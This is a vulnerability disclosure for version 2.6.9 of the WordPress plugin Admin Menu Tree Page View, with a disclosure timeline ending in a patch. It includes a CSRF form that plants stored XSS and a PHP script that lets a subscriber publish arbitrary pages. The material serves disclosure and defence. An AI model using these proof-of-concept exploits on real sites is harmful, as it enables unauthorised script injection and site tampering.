WordPress Admin Menu Tree Page View 2.6.9 CSRF / Privilege Escalation

`* Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]  
* Discovery Date: 2017-12-12  
* Exploit Author: Panagiotis Vagenas  
* Author Link: https://twitter.com/panVagenas  
* Vendor Homepage: http://eskapism.se/  
* Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view  
* Version: 2.6.9  
* Tested on: WordPress 4.9.1  
* Category: WebApps, WordPress  
  
  
Description  
-----------  
  
Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which  
calls back the function `admin_menu_tree_page_view_add_page`. The later  
does not implement any anti-CSRF controls or security checks.  
  
Leveraging a CSRF attack an attacker could perform a Persistent XSS  
attack if the victim has administrative rights (see PoC).  
  
The AJAX action is a privileged one so it's only available for  
registered users. Even so it doesn't implement any capabilities checks  
so it's available to all users no matter the access level. This could  
allow any registered user to create arbitrary posts no matter the access  
level.  
  
PoC  
---  
  
### CSRF -> Persistent XSS  
  
In this PoC we exploit the `$_POST["page_titles"]` param to perform a  
Persistent XSS attack.  
  
```  
<pre class="lang:html decode:true "><form method="post"  
action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">  
<input type="hidden" name="action"  
value="admin_menu_tree_page_view_add_page">  
<input type="text" name="type" value="after">  
<input type="text" name="pageID" value="1">  
<input type="text" name="post_type" value="page">  
<input type="text" name="page_titles[]"  
value="<script>alert(1)</script>">  
<input type="text" name="post_status" value="publish">  
<button type="submit" value="Submit">Submit</button>  
</form>  
  
```  
  
### Create Arbitrary Posts  
  
In this PoC we use a user with subscriber access to create arbitrary  
pages. The post\_type is user defined so in the same manner we could  
create any post type.  
  
```  
#!/usr/bin/env php  
<?php  
/*******************************************************************************  
* Admin Menu Tree Page View [Privilege Escalation]  
*  
* To install deps run `composer require wordfence/exkit`.  
*  
* @author Panagiotis Vagenas <[email protected]>  
* @date 2017-08-09  
******************************************************************************/  
  
require_once __DIR__ . '/vendor/autoload.php';  
  
use Wordfence\ExKit\Cli;  
use Wordfence\ExKit\Config;  
use Wordfence\ExKit\Endpoint;  
use Wordfence\ExKit\ExitCodes;  
use Wordfence\ExKit\WPAuthentication;  
  
Config::get( 'url.base', null, true, 'Enter the site URL' )  
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );  
  
$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );  
$s->XDebugOn();  
  
Cli::writeInfo( 'Logging in as subscriber...' );  
  
WPAuthentication::logInAsUserRole( $s,  
WPAuthentication::USER_ROLE_SUBSCRIBER );  
  
Cli::writeInfo( 'Sending payload...' );  
  
$postData = [  
'action' => 'admin_menu_tree_page_view_add_page',  
'type' => 'after',  
'pageID' => '1',  
'post_type' => 'page',  
'page_titles' => [ '<script>alert(1)</script>' ],  
'post_status' => 'publish',  
];  
  
$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);  
  
if(!$r->success || !$r->body == '0'){  
ExitCodes::exitWithFailed('Failed to retrieve a valid response');  
}  
  
ExitCodes::exitWithSuccess('Exploitation successful');  
  
```  
  
Timeline  
--------  
  
1. **2017-12-12**: Discovered  
2. **2017-12-12**: Tried to contact plugin author through WordPress.org  
support threads  
3. **2017-12-13**: Tried to contact plugin author by creating an issue  
in plugin's repository on Github  
4. **2017-12-13**: Vendor replied  
5. **2017-12-14**: Vendor received details  
6. **2018-01-07**: Patch released  
`